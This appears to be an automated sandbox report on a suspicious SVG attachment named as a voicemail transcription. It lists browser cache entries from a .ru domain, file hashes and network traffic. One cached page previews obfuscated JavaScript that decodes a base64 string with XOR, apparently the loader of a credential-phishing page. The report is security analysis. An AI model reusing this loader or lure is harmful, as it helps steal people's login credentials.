MD5:	1A862A89D5633FAC83D763886726740D
SHA1:	E5CE3AA454C992A13FD406A9647D7AFBF831051F
SHA-256:	5C22FD904EDB792331A7307DDF4A790E0D1318924F6D8E7362FA6B55D5AB6FBB
SHA-512:	3BFAB627DC0EBFAE1176098C870B4D2747518E7EA91646303276191A4A846D47B2E80BB1EE2FA67271130ECCBC8B1152778C99917FC6C63EA45A184BD673BF0D
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/56ACCeVmLlcdPPXc8920
Preview:	#authcalldesc,#sections,.text-m{font-size:.9375rem},input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #pageName,#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400},.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}*{margin:0}.websitesections{height:100%;width:100vw;position:relative}#sections_doc,#sections_go

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 93276, version 1.0
Category:	downloaded
Size (bytes):	93276
Entropy (8bit):	7.997636438159837
Encrypted:	true
SSDEEP:	1536:Dy7KSLv+MMqDeeIgDFSxpuQP7ObnKSWBO61LlRzSSAT6YmkSzOu7Be0OB53jIH4I:Dy7JD+net+puI7ObKHVhTSSlYmk4OuWa
MD5:	BCD7983EA5AA57C55F6758B4977983CB
SHA1:	EF3A009E205229E07FB0EC8569E669B11C378EF1
SHA-256:	6528A0BF9A836A53DFD8536E1786BA6831C9D1FAA74967126FDDF5B2081B858C
SHA-512:	E868A2702CA3B99E1ABBCBD40B1C90B42A9D26086A434F1CBAE79DFC072216F2F990FEC6265A801BC4F96DB0431E8F0B99EB0129B2EE7505B3FDFD9BB9BAFE90
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/GDSherpa-vf2.woff2
Preview:	wOF2......l\....... ..k...........................v...&..$?HVAR.j?MVAR.F.`?STAT.6'8.../.H........x....0..:.6.$..0. ..z...[....%"...........!.I.T....w.!c.H...t.]k......6..Cy..Ul.re........I..%.%....DE....v.i.QF8....iH.!r......P4Z[....Zs....o..r..8b.O....n...!......R}GL..5n!....^..I...A.....U...,&..uz....E.R.K/GL...#..U..A8%.rd..E,}...'e...u..3.dD....}..:..0.a..#O8.\|.7..{.}.o......(.D..HX...w.;F...g.+....g.x..,.@~<.K......ZJw......^.!..{:..<..`N..h..0.t..NA..,...]........On./..X\|_=...e,.tS..3Z..q_....'F[..jR.?U..k.:+;..Z.co5..l..yV.Md..4.6............L8q..._...AX.y.Cc...Agb..a.K...N....`-..N.b.u...q..i.S...p..j*...fA.......?.Z.Ee.~\|.\..TZ._...?./a.64..+.]..(gq..d..\K...S..z.i.l[.........1=....I.....4g.?.G.3.&.0L&.$.@R6...U..o..:.S.=.....bU..u.]z.W8[U.\|7.'.%..u...11..g<.^...J..PB.JHB...k........].($..D...S"u...7...9.8.....U..7...R$..x...g.X.zV.,.$....y.:.....Q$OM....q.. ...(.O....".d<.l..9..\|^B.r.5......yi.D..._...<P..o....(Re.I...@E.~..T.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28000, version 1.66
Category:	downloaded
Size (bytes):	28000
Entropy (8bit):	7.99335735457429
Encrypted:	true
SSDEEP:	768:NDT1rKvlJOE1AgLlnGj8H58AJUcl5I17ML7FfNHubNIphqb:NDtKvyAhjHeACcl21YL7KNW+
MD5:	A4BCA6C95FED0D0C5CC46CF07710DCEC
SHA1:	73B56E33B82B42921DB8702A33EFD0F2B2EC9794
SHA-256:	5A51D246AF54D903F67F07F2BD820CE77736F8D08C5F1602DB07469D96DBF77F
SHA-512:	60A058B20FCB4F63D02E89225A49226CCD7758C21D9162D1B2F4B53BBA951B1C51D3D74C562029F417D97F1FCA93F25FDD2BC0501F215E3C1EF076810B54DD06
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/GDSherpa-bold.woff2
Preview:	wOF2......m`......$...l....B.......................6....`..<.<..b.....$....6.$..x..>.. .....{...[..q.k.]]O....s...\|..n...!..[<;....P&..g....!..I'i..Q.DP....9..J......9G..Q1(..)Jn......8Y......)J.F.c A..7k.v...2=.Z.n.4`...~Nl...4;...S.l{w..:.#..=!. ..X....>[.7........1??.3.?t..qE..f...b...,.Fwcp8...4^.^x..\|....Ro<%.."....~0..q..rP..G.......R....-..{O.QeJ.....6.E........{.{.....,h.!.._......$..3..cF@..>........t.o...Fc ...YS.....s.V..j....uk.`n......#....6.....1`kbd..Z..).x...F........T.._..}...p..._F.0.S'.V.g........3.$...Jf.j._,J....v7(...(..bm.....a....Nh.(QS.H...5.w.o.1.[<m.1.cJ......B......R..L..>[\|@..]../...6.\..(.j.Bn...Oj.&/j@.'T...w.,......e.g.I=.w.x..ap..?.......lI../..uuDH.P.....)._...<..C.x.......Kh.P.\|"M..JQ......?`..S@{..o..RjCE.qx.p.!(Wi....dY.%./r.#.p..C ..........r.o4P.}...3X..].....6.'~&...]...y...YQ..9."v....3...oEMQoWM.W`................Y.V..O2......l....p.1..B..Fn..o.<..,C......^.Y.C...W..tX..\|.`...5:.Yd@]..j..$...v.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 43596, version 1.0
Category:	downloaded
Size (bytes):	43596
Entropy (8bit):	7.9952701440723475
Encrypted:	true
SSDEEP:	768:b0nfc/3Osy1fo0tBBFF/GGXfN2ZHKTBUwL+BR49qCow3Z3HuvJ5+xXtTgXHk6/:b0fU3OdhFF/xNOoZc49ow3Z3HO+xX1mf
MD5:	2A05E9E5572ABC320B2B7EA38A70DCC1
SHA1:	D5FA2A856D5632C2469E42436159375117EF3C35
SHA-256:	3EFCB941AADDAF4AEA08DAB3FB97D3E904AA1B83264E64B4D5BDA53BC7C798EC
SHA-512:	785AB5585B8A9ED762D70578BF13A6A69342441E679698FD946E3616EF5688485F099F3DC472975EF5D9248AFAAD6DA6779813B88AA1DB60ABE2CC065F47EB5F
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/GDSherpa-vf.woff2
Preview:	wOF2.......L.......P..............................U...z...?HVAR.;?MVARF.`?STAT...H/L.....@..P..>.0....6.$..x. .....{[.q....Rl....t..~v....(....T.t.;..n'..v=....?...l].xI...m."..?hNX.,...8.;G...m,}.h.>(=[...m/.>....8&f..&.......].u...&.VD..].<..yR.eb<,x......)..c..t...k...9..o.T..R9..kq..TR%U..v....r._......D...f..=qH...8.<...x..(V.I.h.L3#]8...-.z.........3.9V..........u.........x.....S_...\1...&6...j^...c;()m.J.....>....xz..Y...\|.7......!.jw...,.L.;N.......n......].....8].R..d.....`.R.B..#..,...1R.UJD..b.`.0<....FA=..{.....`....c...R..Uy..J.k.".j..N.{w..UT<.8T66...H,...FH.GS.G.]......?.T.!4..8...B...l.p@.......t.o...v...b.g..?..m..!.%.....x..MC1M...........k...})..+N.....Q_yS.X.11a....&`..'".xZ..=b^...iD...} .. ..b...}DIvu.q....k.4.....@.....P..j..)..'.L......b..RQjII..Qk.T.l._wO..$....!c..%.{.._N..E@....A...?...aW.y.gf.g.&E... ~.x.b....b...~......f/.....G....J.6.y.....zE@T.a.0^Ul......S:..,..}..B.R..Rt~.v...L:`4.IKA..V...x&@...h.7.P......

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
SSDEEP:	192:cdEMK4RwidEMK4Rwbwm6xiD7x9m9t6EQ3FabrItDWOO6DcA:cdEMVwidEMVwbwtxiDHmP6lFeItDWOOc
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/ijbHPlXv32ebWvACIZbLFotR2xA3cdeNQ7GgeJq4gGCcuhx678168
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXqRRnYdbyJA0xy+LUxh7JECWWNAc:t4pb8WuEbaA0xVUxh1ECgc
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/rsxdLZylu9sNLs7eTOu0UqzijrscZpLQuuew9C74mWaef200
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (12005), with CRLF line terminators
Category:	downloaded
Size (bytes):	17048
Entropy (8bit):	5.991401102168825
Encrypted:	false
SSDEEP:	384:azyFaqZUHFS9Pjep+MrwQGPc1QkDd5xTJ6ZRiJ1VZ2xrlr71lr7M:MIeFS98rwxPjkJfJ0A3Z2xrlr71lr7M
MD5:	D15324C927FCE2EFAFCA39AFF3B8BA18
SHA1:	28D0DEF0EBCBFB4E8BEECD79D358A0144F8A33AD
SHA-256:	3587EEA63DB49F35B97306E24537E7792F5D36E4380C72240445CC3D4D42E780
SHA-512:	782FFB259FD6F521751730083AD86B9EAA16D649F538B8440B2A3CDB7DA18674AE1351E3E26A84BA8DEFC7173E4C63B98B26298A369C395796E029F337D3EB16
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/pax6lf1/
Preview:	<script>..function WcnqdVdrDZ(ioNXxdXaeV, GszOOnEYCI) {..let NGeGKvHlGS = '';..ioNXxdXaeV = atob(ioNXxdXaeV);..let hyfHoIFaUV = GszOOnEYCI.length;..for (let i = 0; i < ioNXxdXaeV.length; i++) {.. NGeGKvHlGS += String.fromCharCode(ioNXxdXaeV.charCodeAt(i) ^ GszOOnEYCI.charCodeAt(i % hyfHoIFaUV));..}..return NGeGKvHlGS;..}..var upfyGPwHQI = WcnqdVdrDZ(`aDw7EwxEGFIhBjdyegkRQBwBaFt7LDcFABoGAycRJjZ2AgpZQxgjATE9IUxWGlpcYlo5JjZPD0dOTG5bJywqCBVAUn9YSCcsKggVQEwBIBdpbTAVEUQfSH1bNys2CxYaDx49ATApNAAXUUIRPRl7LjIAHRsAGzAHeywqGBVAA184B3t7dlBLBUMRIA0kOzdMD0dCHzsaeiUrQ1sIQwExBj0/LF9oPmF4bgc3PTEREQpheDwRI28eFAtXGBs9GnwuLA4HHEsTBS0zBB9UDVABHjwtDB0uAgwBXygFPj8sNQ1XbjQ7NRIcOD8FV1gZKBVNZwM1Lw1WKwoDFRMJLQUiDRg7GgxsBhAFFVYBICQQLXo+AiJcBBA8JiItCyNdUi8wJy0MFSg7V3JcEGE9ISsALwlXBzQ8LgN6aC0IWBkrYAxlFR83H38vOBEQDAUvKAxfHDsaBxoMMSACfS8zNT0XDj8FV1gZKBVNZwM1GRNtXjRiFQN2LSghBAs7PzI9LWs3VXsBOCEtA3oqKA9HIjE8RBoMNTMTbV8kJi4DemgtCHIHKBciZhUPVFVgKx4oEBMZLTs9fQM7PwA4Kg8zE1BeRjs4Fw01BTIBBhYVGCItMSAKbjQoPhY6HigoLUciMTs1MwYb

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	644
Entropy (8bit):	4.6279651077789685
Encrypted:	false
SSDEEP:	12:EEasTzWl6/Kjsg9GXlxDfwyf+/11C1+/MguB/KQGXlxD3EZAGxtw006cNOBkP1HJ:PaPlKKVkz1f+tPUgo/KQGbEZAuwz65GH
MD5:	541B83C2195088043337E4353B6FD60D
SHA1:	F09630596B6713217984785A64F6EA83E91B49C5
SHA-256:	2658B8874F0D2A12E8726DF78AC8954324C3BBE4695E66BDEF89195FDE64322F
SHA-512:	B2AE42BA9D3A63D3ACB179051B005F2589F147D94F044616AE5DC5705E873F16057C56934262841191263B4C35804EF188BD38CF69CCE0F4B2CF76C05F17B8AD
Malicious:	false
Preview:	RIFF\|...WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHK....W`$....z..".Y..P}0;.PE..G..h....9.@..`..2.......=.T.....-3..ow....&......VP8 :...0........>m&.M.!"......i...O...(.........g....w...XG...

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10017)
Category:	downloaded
Size (bytes):	10245
Entropy (8bit):	5.437589264532084
Encrypted:	false
SSDEEP:	192:LRSvXVHfVj+WdqfkkoKhUBhMAcT6iuvBiFj0gba6qiG2pPj:LQvXVHXiNkMAcT6i+4mgPj
MD5:	6C20A2BE8BA900BC0A7118893A2B1072
SHA1:	FF7766FDE1F33882C6E1C481CEED6F6588EA764C
SHA-256:	B1C42ACD0288C435E95E00332476781532ED002CAC6F3DCEE9110CED30B31500
SHA-512:	8F80AD8ADC44845D24E13D56738A2CA2A73EE6FCDC187542BA4AAEBBF8817935D053A2ACFB0D425B9CC0C582B5091E1C9FE16B90B3AA682187645067C267FC41
Malicious:	false
URL:	https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250317%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250317T205513Z&X-Amz-Expires=300&X-Amz-Signature=e616e7388ad102e9cb0d3ae02f97cd7c71b53bb553c2889c097375ffd2fede86&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream
Preview:	//.// randexp v0.4.3.// Create random strings that match a given regular expression..//.// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent).// MIT License.// http://github.com/fent/randexp.js/raw/master/LICENSE .//.!function(){var e="RandExp",t=function(){return function e(t,n,r){function o(s,i){if(!n[s]){if(!t[s]){var u="function"==typeof require&&require;if(!i&&u)return u(s,!0);if(a)return a(s,!0);var p=new Error("Cannot find module '"+s+"'");throw p.code="MODULE_NOT_FOUND",p}var h=n[s]={exports:{}};t[s][0].call(h.exports,function(e){var n=t[s][1][e];return o(n?n:e)},h,h.exports,e,t,n,r)}return n[s].exports}for(var a="function"==typeof require&&require,s=0;s<r.length;s++)o(r[s]);return o}({1:[function(e,t,n){function r(e){return e+(e>=97&&122>=e?-32:e>=65&&90>=e?32:0)}function o(){return!this.randInt(0,1)}function a(e){return e instanceof h?e.index(this.randInt(0,e.length-1)):e[this.randInt(0,e.length-1)]}function s(e){if(e.type===p.types.CHAR)return new h(e.value);if(e.

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXqRRnYdbyJA0xy+LUxh7JECWWNAc:t4pb8WuEbaA0xVUxh1ECgc
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (3307)
Entropy (8bit):	5.656151248153338
TrID:
File name:	Play Voicemail Transcription. (387.KB).svg
File size:	4'082 bytes
MD5:	577d2a99f19bf9ce5c1fdfc47627706e
SHA1:	76667c7d42bd16cc2b7962359b6fe5da9edb0fc5
SHA256:	ad6646c0606816f5ddd4c3160eb971da0a70f54eac0ff58e837bd3a01242b5d4
SHA512:	8bfe2124ba54128395968ba6bb0d00edab1172314996b2d5e0e648f4118c10348d91de8a41028b38bd035a962ff75a94e13b5b2a1996bb93e0b2abc429976215
SSDEEP:	96:A451Zh5qEvEYVDgJu15JGp9lelGGZSIlb4vIzFxo15u:AkewE8CpelRZSKFv
TLSH:	588152504CAB4E2C137411C7DCCD14CA8B6AE7931F91E78CB24FEAE097A542F55DA8CA
File Content Preview:	The explorer composed a beautiful painting in the desert. -->.<svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%">. The child painted a curious thought while sailing across the seas. -->. <foreignObject width="100%" heig

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 21:54:58.827172041 CET	49695	80	192.168.2.16	172.67.129.81
Mar 17, 2025 21:54:58.827986002 CET	49696	80	192.168.2.16	172.67.129.81
Mar 17, 2025 21:54:58.835342884 CET	80	49695	172.67.129.81	192.168.2.16
Mar 17, 2025 21:54:58.835354090 CET	80	49696	172.67.129.81	192.168.2.16
Mar 17, 2025 21:54:58.835416079 CET	49695	80	192.168.2.16	172.67.129.81
Mar 17, 2025 21:54:58.835436106 CET	49696	80	192.168.2.16	172.67.129.81
Mar 17, 2025 21:54:58.860941887 CET	49699	443	192.168.2.16	104.21.2.147
Mar 17, 2025 21:54:58.860963106 CET	443	49699	104.21.2.147	192.168.2.16
Mar 17, 2025 21:54:58.861011982 CET	49699	443	192.168.2.16	104.21.2.147
Mar 17, 2025 21:54:58.861141920 CET	49699	443	192.168.2.16	104.21.2.147
Mar 17, 2025 21:54:58.861155033 CET	443	49699	104.21.2.147	192.168.2.16
Mar 17, 2025 21:54:59.327073097 CET	443	49699	104.21.2.147	192.168.2.16
Mar 17, 2025 21:54:59.327191114 CET	49699	443	192.168.2.16	104.21.2.147
Mar 17, 2025 21:54:59.329206944 CET	49699	443	192.168.2.16	104.21.2.147
Mar 17, 2025 21:54:59.329217911 CET	443	49699	104.21.2.147	192.168.2.16
Mar 17, 2025 21:54:59.329478979 CET	443	49699	104.21.2.147	192.168.2.16
Mar 17, 2025 21:54:59.329799891 CET	49699	443	192.168.2.16	104.21.2.147
Mar 17, 2025 21:54:59.376331091 CET	443	49699	104.21.2.147	192.168.2.16
Mar 17, 2025 21:54:59.437961102 CET	49696	80	192.168.2.16	172.67.129.81
Mar 17, 2025 21:54:59.438009024 CET	49695	80	192.168.2.16	172.67.129.81
Mar 17, 2025 21:54:59.442919016 CET	80	49696	172.67.129.81	192.168.2.16
Mar 17, 2025 21:54:59.443312883 CET	80	49695	172.67.129.81	192.168.2.16
Mar 17, 2025 21:54:59.443373919 CET	49696	80	192.168.2.16	172.67.129.81
Mar 17, 2025 21:54:59.443383932 CET	49695	80	192.168.2.16	172.67.129.81
Mar 17, 2025 21:54:59.620676994 CET	443	49699	104.21.2.147	192.168.2.16
Mar 17, 2025 21:54:59.620726109 CET	443	49699	104.21.2.147	192.168.2.16
Mar 17, 2025 21:54:59.620810032 CET	49699	443	192.168.2.16	104.21.2.147
Mar 17, 2025 21:54:59.620826960 CET	443	49699	104.21.2.147	192.168.2.16
Mar 17, 2025 21:54:59.620839119 CET	443	49699	104.21.2.147	192.168.2.16
Mar 17, 2025 21:54:59.620896101 CET	49699	443	192.168.2.16	104.21.2.147
Mar 17, 2025 21:54:59.626976013 CET	49699	443	192.168.2.16	104.21.2.147
Mar 17, 2025 21:54:59.627003908 CET	443	49699	104.21.2.147	192.168.2.16
Mar 17, 2025 21:54:59.862499952 CET	49706	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:54:59.862540007 CET	443	49706	104.21.41.104	192.168.2.16
Mar 17, 2025 21:54:59.862817049 CET	49706	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:54:59.863002062 CET	49706	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:54:59.863014936 CET	443	49706	104.21.41.104	192.168.2.16
Mar 17, 2025 21:54:59.863183022 CET	49706	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:54:59.863514900 CET	49707	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:54:59.863542080 CET	443	49707	104.21.41.104	192.168.2.16
Mar 17, 2025 21:54:59.863622904 CET	49707	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:54:59.864089012 CET	49707	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:54:59.864099979 CET	443	49707	104.21.41.104	192.168.2.16
Mar 17, 2025 21:54:59.864330053 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:54:59.864342928 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:54:59.864440918 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:54:59.864552021 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:54:59.864566088 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:54:59.908324957 CET	443	49706	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:00.324166059 CET	443	49706	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:00.324389935 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:00.324393034 CET	443	49706	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:00.324393034 CET	49706	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:00.324393034 CET	49706	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:00.324485064 CET	49706	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:00.324528933 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:00.325453043 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:00.325464010 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:00.325733900 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:00.325987101 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:00.326710939 CET	443	49707	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:00.326772928 CET	49707	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:00.327056885 CET	49707	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:00.327065945 CET	443	49707	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:00.327312946 CET	443	49707	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:00.368324995 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:00.370552063 CET	49707	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:02.070038080 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.070169926 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.070209026 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.070230007 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:02.070246935 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.070261955 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.070298910 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:02.070332050 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.070367098 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:02.070383072 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.070427895 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.070472956 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:02.070481062 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.074572086 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.074613094 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.074635983 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:02.074642897 CET	443	49710	104.21.41.104	192.168.2.16
Mar 17, 2025 21:55:02.074692011 CET	49710	443	192.168.2.16	104.21.41.104
Mar 17, 2025 21:55:02.155844927 CET	443	49710	104.21.41.104	192.168.2.16
